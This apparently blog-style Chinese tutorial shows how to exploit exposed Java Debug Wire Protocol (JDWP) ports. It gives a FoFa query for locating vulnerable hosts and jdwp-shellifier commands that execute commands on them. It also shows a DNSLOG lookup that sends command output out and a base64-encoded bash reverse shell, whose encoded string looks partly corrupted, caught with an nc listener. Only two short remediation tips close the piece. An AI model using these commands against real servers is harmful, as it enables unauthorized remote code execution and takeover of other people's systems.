JDWP 漏洞验证

前言
今天验证一个JDWP漏洞,可能写的不是很全面如果有高手可以帮忙指正一下。JDWP是 Java Debug Wire Protocol 的缩写,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。
JDWP就是JAVA的一个调试协议。本质上我们通过IDEA或者eclipse通过断点的方式调试JAVA应用时,使用的就是JDWP。因为是调试协议,不可能带有认证信息,那么对于一个开启了调试端口的JAVA应用,我们就可能利用JDWP进行调试,最终执行命令。在什么时候会使用到JDWP这种协议呢?比如你在线上跑了一个应用,但是这个问题只有在线上才会出现问题,那么这个时候就必须开启远程调试功能了,此时就有可能被攻击者利用RCE。
指纹
我们先可以使用FoFa搜索引擎查看一下JDWP的漏洞指纹,搜索语法放在下面了。
banner=”jdwp” && port="8000"
漏洞证明
一般情况只要存在改漏洞都会返回下图信息,但是有些特殊情况不会返回但是也是可以进行利用的。
telnet xxx.xxx.xxx.xxx 8000
漏洞利用
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
漏洞利用脚本:
https://github.com/IOActive/jdwp-shellifier
下方截图可以看到,命令执行成功,但是没因为没有回显,所以这里没有看到效果。
通过DNSLOG查看回显效果
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping http://.`whoami`.yoww7w.dnslog.cn"
GETSHELL
远程执行
python jdwp-shellifier.py -t xxx.xxx.xxx.xxx -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,YmFzaCAtaSA+JiAvfrV2L3RjcC8xOTIgrth4LjE4NS42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
对payload进行base64编码网站:
http://www.jackson-t.ca/runtime-exec-payloads.html
本地NC监听执行
nc -lvp 8888
修复建议
- 关闭JDWP端口,或者JDWP端口不对公网开放
- 关闭Java的debug模式(开启该模式对服务器性能有影响)
本作品采用《CC 协议》,转载必须注明作者和本文链接
推荐文章: